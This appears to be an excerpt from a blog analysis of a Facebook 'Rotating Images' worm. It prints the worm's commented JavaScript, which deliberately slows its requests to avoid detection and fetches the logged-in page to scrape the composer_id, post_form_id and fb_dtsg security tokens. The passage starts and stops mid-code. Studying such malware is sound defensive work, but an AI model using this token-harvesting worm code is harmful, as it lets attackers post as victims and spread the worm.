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Analysis of Facebook Rotating Images worm
['Ashish Bhatia']
ashishb.net
); //this takes care of the fact that facebook will recognize the automated script if a lot of //requests are sent within a short frame of time and hence, the requests are deliberately slowed // the code below makes an XMLHttp request (AJAX request) to extract // 1. composer_id // 2. post_form_id // 3. fb_dtsg // (There is a reference to an app which has been removed from facebook) with (x = new XMLHttpRequest()) open( "GET" , "/" ), onreadystatechange = function () { if (x.readyState == 4 && x.status == 200 ) { comp = (z = x.responseText).match( /name=\\"composer_id\\" value=\\"([\d\w]+)\\"/i )[ 1 ]; form = z.match( /name="post_form_id" value="([\d\w]+)"/i )[ 1 ]; dt = z.match( /name="fb_dtsg" value="([\d\w-_]+)"/i )[ 1 ]; pfid = z.match( /name="post_form_id" value="([\d\w]+)"/i )[ 1 ];…